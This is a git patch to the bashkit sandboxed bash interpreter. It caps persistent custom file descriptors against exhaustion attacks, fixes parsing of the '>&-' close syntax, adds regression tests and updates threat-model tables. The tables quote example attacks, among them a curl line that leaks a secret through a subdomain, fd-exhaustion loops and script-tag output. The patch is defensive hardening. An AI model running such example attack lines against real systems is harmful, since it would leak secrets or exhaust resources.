From ed6d90a926b34919e467ed43d8334bdb51bcb002 Mon Sep 17 00:00:00 2001
From: Mykhailo Chalyi <mykhailo.chalyi-contractor@procore.com>
Date: Mon, 25 May 2026 23:26:17 -0500
Subject: [PATCH] fix(security): cap persistent file descriptors

---
 crates/bashkit/docs/threat-model.md        |  3 +-
 crates/bashkit/src/interpreter/mod.rs      | 27 +++++++++++++++--
 crates/bashkit/src/limits.rs               | 27 +++++++++++++++--
 crates/bashkit/src/parser/lexer.rs         | 10 +++++--
 crates/bashkit/src/parser/mod.rs           | 30 +++++++++++++++++++
 crates/bashkit/src/parser/tokens.rs        |  5 +++-
 crates/bashkit/tests/threat_model_tests.rs | 34 ++++++++++++++++++++++
 specs/threat-model.md                      |  9 ++++--
 8 files changed, 134 insertions(+), 11 deletions(-)

diff --git a/crates/bashkit/docs/threat-model.md b/crates/bashkit/docs/threat-model.md
index 1a059a370..a822ea63c 100644
--- a/crates/bashkit/docs/threat-model.md
+++ b/crates/bashkit/docs/threat-model.md
@@ -110,6 +110,7 @@ through configurable limits.
 | Param expansion bomb (TM-DOS-059) | `${x//a/bigstring}` multiplicative amplification | `max_total_variable_bytes` + `max_stdout_bytes` | MITIGATED |
 | Sparse array huge-index (TM-DOS-060) | `arr[999999999]=x` | HashMap storage; `max_array_entries` | MITIGATED |
 | Snapshot restore bypasses function/parser limits (TM-DOS-061) | Crafted snapshot with oversized/deep function bodies | Re-parse restored function source under current limits; re-check function memory budget | MITIGATED |
+| Persistent fd exhaustion (TM-DOS-063) | `exec N>/tmp/f` across many `N` values | `max_file_descriptors` caps custom persistent descriptors | MITIGATED |
 
 **Configuration:**
 ```rust
@@ -378,7 +379,7 @@ exfiltration by encoding secrets in subdomains (`curl https://$SECRET.example.co
 
 | Threat | Attack Example | Mitigation | Status |
 |--------|---------------|------------|--------|
-| HTML in output (TM-INJ-007) | Script outputs `<script>` | N/A (CLI tool) | NOT APPLICABLE |
+| HTML in output (TM-INJ-007) | Script outputs `<script>` and caller renders output in a web UI | Caller should HTML-escape output and use a restrictive CSP | CALLER RISK |
 | Terminal escapes (TM-INJ-008) | ANSI sequences in output | Caller should sanitize | CALLER RISK |
 
 **Internal State:**
diff --git a/crates/bashkit/src/interpreter/mod.rs b/crates/bashkit/src/interpreter/mod.rs
index 8de9ebf2f..b8ef4ffc1 100644
--- a/crates/bashkit/src/interpreter/mod.rs
+++ b/crates/bashkit/src/interpreter/mod.rs
@@ -4899,6 +4899,7 @@ impl Interpreter {
                     let text = bytes_to_latin1_string(&content);
                     let fd = redirect.fd.or(resolved_fd_var);
                     if let Some(fd) = fd {
+                        self.ensure_persistent_fd_capacity(fd)?;
                         let lines: Vec<String> =
                             text.lines().rev().map(|l| l.to_string()).collect();
                         self.coproc_buffers.insert(fd, lines);
@@ -4910,7 +4911,7 @@ impl Interpreter {
                 RedirectKind::DupInput => {
                     let target = self.expand_word(&redirect.target).await?;
                     let fd = redirect.fd.or(resolved_fd_var);
-                    if target == "-"
+                    if (target == "-" || target == "&-")
                         && let Some(fd) = fd
                     {
                         self.coproc_buffers.remove(&fd);
@@ -4920,6 +4921,7 @@ impl Interpreter {
                     let fd = redirect.fd.or(resolved_fd_var).unwrap_or(1);
                     let target_path = self.expand_word(&redirect.target).await?;
                     let path = self.resolve_path(&target_path);
+                    self.ensure_persistent_fd_capacity(fd)?;
                     if is_dev_null(&path) {
                         self.exec_fd_table.insert(fd, FdTarget::DevNull);
                     } else {
@@ -4933,6 +4935,7 @@ impl Interpreter {
                     let fd = redirect.fd.or(resolved_fd_var).unwrap_or(1);
                     let target_path = self.expand_word(&redirect.target).await?;
                     let path = self.resolve_path(&target_path);
+                    self.ensure_persistent_fd_capacity(fd)?;
                     if is_dev_null(&path) {
                         self.exec_fd_table.insert(fd, FdTarget::DevNull);
                     } else {
@@ -4943,7 +4946,7 @@ impl Interpreter {
                 RedirectKind::DupOutput => {
                     let target = self.expand_word(&redirect.target).await?;
                     let fd = redirect.fd.or(resolved_fd_var).unwrap_or(1);
-                    if target == "-" {
+                    if target == "-" || target == "&-" {
                         // exec N>&- closes the fd
                         self.exec_fd_table.remove(&fd);
                     } else if let Ok(target_fd) = target.parse::<i32>() {
@@ -4958,6 +4961,7 @@ impl Interpreter {
                                 .cloned()
                                 .unwrap_or(FdTarget::Stdout)
                         };
+                        self.ensure_persistent_fd_capacity(fd)?;
                         self.exec_fd_table.insert(fd, target_entry);
                     }
                 }
@@ -4968,6 +4972,25 @@ impl Interpreter {
         self.apply_redirections(result, redirects).await
     }
 
+    fn ensure_persistent_fd_capacity(&self, fd: i32) -> Result<()> {
+        if fd <= 2 || self.exec_fd_table.contains_key(&fd) || self.coproc_buffers.contains_key(&fd)
+        {
+            return Ok(());
+        }
+
+        let mut open_fds: HashSet<i32> = self.exec_fd_table.keys().copied().collect();
+        open_fds.extend(self.coproc_buffers.keys().copied());
+
+        if open_fds.len() >= self.limits.max_file_descriptors {
+            return Err(crate::limits::LimitExceeded::MaxFileDescriptors(
+                self.limits.max_file_descriptors,
+            )
+            .into());
+        }
+
+        Ok(())
+    }
+
     /// Execute a registered (non-special) builtin with panic safety.
     /// The builtin must exist in `self.builtins` (caller checks with `contains_key`).
     ///
diff --git a/crates/bashkit/src/limits.rs b/crates/bashkit/src/limits.rs
index 168eab973..254b3d9a4 100644
--- a/crates/bashkit/src/limits.rs
+++ b/crates/bashkit/src/limits.rs
@@ -15,6 +15,7 @@
 //! - **TM-DOS-023**: CPU exhaustion → `timeout`
 //! - **TM-DOS-024**: Parser hang → `parser_timeout`, `max_parser_operations`
 //! - **TM-DOS-027**: Builtin parser recursion → `MAX_AWK_PARSER_DEPTH`, `MAX_JQ_JSON_DEPTH` (in builtins)
+//! - **TM-DOS-063**: Persistent file descriptor exhaustion → `max_file_descriptors`
 //!
 //! # Fail Points (enabled with `failpoints` feature)
 //!
@@ -92,6 +93,11 @@ pub struct ExecutionLimits {
     /// Default: 32
     pub max_subst_depth: usize,
 
+    /// Maximum persistent custom file descriptors opened via `exec N>file`,
+    /// `exec N<file`, or fd duplication. Standard fds 0/1/2 do not count.
+    /// Default: 1024
+    pub max_file_descriptors: usize,
+
     /// Whether to capture the final environment state in ExecResult.
     /// Default: false (opt-in to avoid cloning cost when not needed)
     pub capture_final_env: bool,
@@ -112,6 +118,7 @@ impl Default for ExecutionLimits {
             max_stdout_bytes: 1_048_576, // 1MB
             max_stderr_bytes: 1_048_576, // 1MB
             max_subst_depth: 32,
+            max_file_descriptors: 1024,
             capture_final_env: false,
         }
     }
@@ -246,6 +253,15 @@ impl ExecutionLimits {
         self
     }
 
+    /// Set maximum persistent custom file descriptors.
+    /// Passing 0 is treated as "use default" (no-op) to prevent misconfiguration.
+    pub fn max_file_descriptors(mut self, count: usize) -> Self {
+        if count > 0 {
+            self.max_file_descriptors = count;
+        }
+        self
+    }
+
     /// Enable capturing final environment state in ExecResult
     pub fn capture_final_env(mut self, capture: bool) -> Self {
         self.capture_final_env = capture;
@@ -552,6 +568,9 @@ pub enum LimitExceeded {
     #[error("maximum command substitution depth exceeded ({0})")]
     MaxSubstDepth(usize),
 
+    #[error("maximum file descriptors exceeded ({0})")]
+    MaxFileDescriptors(usize),
+
     #[error("execution timeout ({0:?})")]
     Timeout(Duration),
 
@@ -1039,7 +1058,8 @@ mod tests {
             .max_parser_operations(0)
             .max_stdout_bytes(0)
             .max_stderr_bytes(0)
-            .max_subst_depth(0);
+            .max_subst_depth(0)
+            .max_file_descriptors(0);
 
         assert_eq!(limits.max_commands, defaults.max_commands);
         assert_eq!(limits.max_loop_iterations, defaults.max_loop_iterations);
@@ -1054,6 +1074,7 @@ mod tests {
         assert_eq!(limits.max_stdout_bytes, defaults.max_stdout_bytes);
         assert_eq!(limits.max_stderr_bytes, defaults.max_stderr_bytes);
         assert_eq!(limits.max_subst_depth, defaults.max_subst_depth);
+        assert_eq!(limits.max_file_descriptors, defaults.max_file_descriptors);
     }
 
     #[test]
@@ -1068,7 +1089,8 @@ mod tests {
             .max_parser_operations(500)
             .max_stdout_bytes(2048)
             .max_stderr_bytes(4096)
-            .max_subst_depth(8);
+            .max_subst_depth(8)
+            .max_file_descriptors(16);
 
         assert_eq!(limits.max_commands, 5);
         assert_eq!(limits.max_loop_iterations, 7);
@@ -1080,6 +1102,7 @@ mod tests {
         assert_eq!(limits.max_stdout_bytes, 2048);
         assert_eq!(limits.max_stderr_bytes, 4096);
         assert_eq!(limits.max_subst_depth, 8);
+        assert_eq!(limits.max_file_descriptors, 16);
     }
 
     #[test]
diff --git a/crates/bashkit/src/parser/lexer.rs b/crates/bashkit/src/parser/lexer.rs
index cfbdebff5..800b74c18 100644
--- a/crates/bashkit/src/parser/lexer.rs
+++ b/crates/bashkit/src/parser/lexer.rs
@@ -333,17 +333,23 @@ impl<'a> Lexer<'a> {
                 self.advance(); // consume >
                 self.advance(); // consume &
 
-                // Read the target fd number
+                // Read the target fd number or '-'
                 let mut target_str = String::new();
                 while let Some(c) = self.peek_char() {
-                    if c.is_ascii_digit() {
+                    if c.is_ascii_digit() || c == '-' {
                         target_str.push(c);
                         self.advance();
+                        if c == '-' {
+                            break;
+                        }
                     } else {
                         break;
                     }
                 }
 
+                if target_str == "-" {
+                    return Some(Token::DupFdCloseOut(fd));
+                }
                 if target_str.is_empty() {
                     // Just N>& without target - treat as DupOutput with fd
                     return Some(Token::RedirectFd(fd));
diff --git a/crates/bashkit/src/parser/mod.rs b/crates/bashkit/src/parser/mod.rs
index 35afbb0e7..3c3f61e86 100644
--- a/crates/bashkit/src/parser/mod.rs
+++ b/crates/bashkit/src/parser/mod.rs
@@ -503,6 +503,16 @@ impl<'a> Parser<'a> {
                         target: Word::literal(dst_fd.to_string()),
                     });
                 }
+                Some(tokens::Token::DupFdCloseOut(fd)) => {
+                    let fd = *fd;
+                    self.advance();
+                    redirects.push(Redirect {
+                        fd: Some(fd),
+                        fd_var: None,
+                        kind: RedirectKind::DupOutput,
+                        target: Word::literal("-"),
+                    });
+                }
                 Some(tokens::Token::DupInput) => {
                     self.advance();
                     if let Ok(target) = self.expect_word() {
@@ -2266,6 +2276,16 @@ impl<'a> Parser<'a> {
                         });
                     }
                 }
+                tokens::Token::DupFdCloseOut(fd) => {
+                    let fd = *fd;
+                    self.advance();
+                    redirects.push(Redirect {
+                        fd: Some(fd),
+                        fd_var: None,
+                        kind: RedirectKind::DupOutput,
+                        target: Word::literal("-"),
+                    });
+                }
                 tokens::Token::DupInput => {
                     self.advance();
                     if let Ok(target) = self.expect_word() {
@@ -2542,6 +2562,16 @@ impl<'a> Parser<'a> {
                         target: Word::literal(dst_fd.to_string()),
                     });
                 }
+                Some(tokens::Token::DupFdCloseOut(fd)) => {
+                    let fd = *fd;
+                    self.advance();
+                    redirects.push(Redirect {
+                        fd: Some(fd),
+                        fd_var: None,
+                        kind: RedirectKind::DupOutput,
+                        target: Word::literal("-"),
+                    });
+                }
                 Some(tokens::Token::DupInput) => {
                     let fd_var = Self::pop_fd_var(&mut words);
                     self.advance();
diff --git a/crates/bashkit/src/parser/tokens.rs b/crates/bashkit/src/parser/tokens.rs
index c1eaca156..81ad385b2 100644
--- a/crates/bashkit/src/parser/tokens.rs
+++ b/crates/bashkit/src/parser/tokens.rs
@@ -123,10 +123,13 @@ pub enum Token {
     /// Duplicate fd to another (e.g., 2>&1)
     DupFd(i32, i32),
 
+    /// Close output fd (e.g., 4>&-)
+    DupFdCloseOut(i32),
+
     /// Duplicate input fd to another (e.g., 4<&0)
     DupFdIn(i32, i32),
 
-    /// Close fd (e.g., 4<&- or 4>&-)
+    /// Close input fd (e.g., 4<&-)
     DupFdClose(i32),
 
     /// Redirect input with file descriptor (e.g., 4<)
diff --git a/crates/bashkit/tests/threat_model_tests.rs b/crates/bashkit/tests/threat_model_tests.rs
index a74abd4e8..3fc67346f 100644
--- a/crates/bashkit/tests/threat_model_tests.rs
+++ b/crates/bashkit/tests/threat_model_tests.rs
@@ -40,6 +40,40 @@ mod resource_exhaustion {
         );
     }
 
+    /// TM-DOS-063: Persistent custom file descriptors must be capped.
+    #[tokio::test]
+    async fn fd_exhaustion_blocked() {
+        let limits = ExecutionLimits::new().max_file_descriptors(2);
+        let mut bash = Bash::builder().limits(limits).build();
+
+        let result = bash
+            .exec("exec 3>/tmp/fd3; exec 4>/tmp/fd4; exec 5>/tmp/fd5")
+            .await;
+
+        assert!(result.is_err());
+        let err = result.unwrap_err().to_string();
+        assert!(
+            err.contains("file descriptors") && err.contains("exceeded"),
+            "Expected fd limit error, got: {}",
+            err
+        );
+    }
+
+    /// TM-DOS-063: Reusing or closing fds should not consume new slots.
+    #[tokio::test]
+    async fn fd_limit_allows_reuse_and_close() {
+        let limits = ExecutionLimits::new().max_file_descriptors(1);
+        let mut bash = Bash::builder().limits(limits).build();
+
+        let result = bash
+            .exec("exec 3>/tmp/a; exec 3>/tmp/b; exec 3>&-; exec 4>/tmp/c; echo ok >&4; cat /tmp/c")
+            .await
+            .unwrap();
+
+        assert_eq!(result.exit_code, 0);
+        assert_eq!(result.stdout.trim(), "ok");
+    }
+
     /// Subsequent exec() calls recover after a prior call hits the command limit.
     /// Each exec() is a separate script invocation and gets its own budget.
     #[tokio::test]
diff --git a/specs/threat-model.md b/specs/threat-model.md
index ba55c2d6a..bb9b9c46f 100644
--- a/specs/threat-model.md
+++ b/specs/threat-model.md
@@ -286,6 +286,7 @@ max_ast_depth: 100,           // Parser recursion (TM-DOS-022)
 | TM-DOS-060 | Sparse array huge-index allocation | `arr[999999999]=x` could allocate ~1B empty slots if arrays are Vec-backed; negative indices could cause OOB | HashMap-based arrays; `max_array_entries` caps total entries | **MITIGATED** |
 | TM-DOS-061 | Snapshot function restore bypasses parser/function limits | Crafted snapshot restores prebuilt or deeply nested functions that exceed the current tenant's parser depth or function memory budget | Re-parse restored function source with current `ExecutionLimits`; re-apply function memory budget before insertion | **MITIGATED** |
 | TM-DOS-062 | jq file binding amplification | Repeated `--rawfile` / `--slurpfile` bindings to one max-sized VFS file multiply retained jq globals and `$ARGS.named` values without consuming more VFS quota | `MAX_FILE_VAR_REQUESTS` caps binding count; `MAX_FILE_VAR_BYTES` counts cumulative file bytes per binding before retaining globals | **MITIGATED** |
+| TM-DOS-063 | Persistent fd exhaustion | `exec N>/tmp/f` across many `N` values grows `exec_fd_table`/coproc fd buffers for the session | `ExecutionLimits::max_file_descriptors` (default 1024) caps persistent custom descriptors before inserts; reusing existing fd entries and standard fds 0/1/2 do not count | **MITIGATED** |
 
 **TM-DOS-051** (mitigated): `builtins/yaml.rs` — `parse_yaml_block`, `parse_yaml_map`,
 `parse_yaml_list` carry a `depth: usize` parameter. When `depth > MAX_YAML_DEPTH = 100`,
@@ -650,14 +651,15 @@ Regression test: `builtins::zip_cmd::tests::test_unzip_rejects_path_traversal_en
 
 | ID | Threat | Attack Vector | Mitigation | Status |
 |----|--------|--------------|------------|--------|
-| TM-INJ-007 | HTML in output | Script outputs `<script>` | N/A - CLI tool | **NOT APPLICABLE** |
+| TM-INJ-007 | HTML in output | Script outputs `<script>` and caller renders stdout/stderr in a web UI | Caller must HTML-escape rendered output and use a restrictive Content Security Policy | **CALLER RISK** |
 | TM-INJ-008 | Terminal escape | ANSI escape sequences | Caller should sanitize | **CALLER RISK** |
 
-**Current Risk**: LOW - Bashkit is not a web application
+**Current Risk**: LOW - Bashkit does not render output itself; embedding UIs own display sanitization.
 
-**Caller Responsibility** (TM-INJ-008): Sanitize output if displayed in terminal/web UI:
+**Caller Responsibility** (TM-INJ-007, TM-INJ-008): Escape or sanitize output before display:
 ```rust
 let result = bash.exec(script).await?;
+let safe_html = html_escape(&result.stdout);
 let safe_output = sanitize_terminal_escapes(&result.stdout);
 ```
 
@@ -1405,6 +1407,7 @@ This section maps former vulnerability IDs to the new threat ID scheme and track
 | Builtin parser depth limit (100) | TM-DOS-027 | `builtins/awk.rs`, `builtins/jq/` | Yes |
 | Execution timeout (30s) | TM-DOS-023 | `limits.rs` | Yes |
 | Builtin output pre-allocation caps | TM-DOS-058, TM-DOS-090 | `limits.rs`, `builtins/shuf.rs` | Yes |
+| Persistent custom fd cap | TM-DOS-063 | `limits.rs`, `interpreter/mod.rs` | Yes |
 | Virtual filesystem | TM-ESC-001, TM-ESC-003 | `fs/memory.rs` | Yes |
 | Filesystem limits | TM-DOS-005 to TM-DOS-010, TM-DOS-014 | `fs/limits.rs` | Yes |
 | Path depth limit (100) | TM-DOS-012 | `fs/limits.rs` | Yes |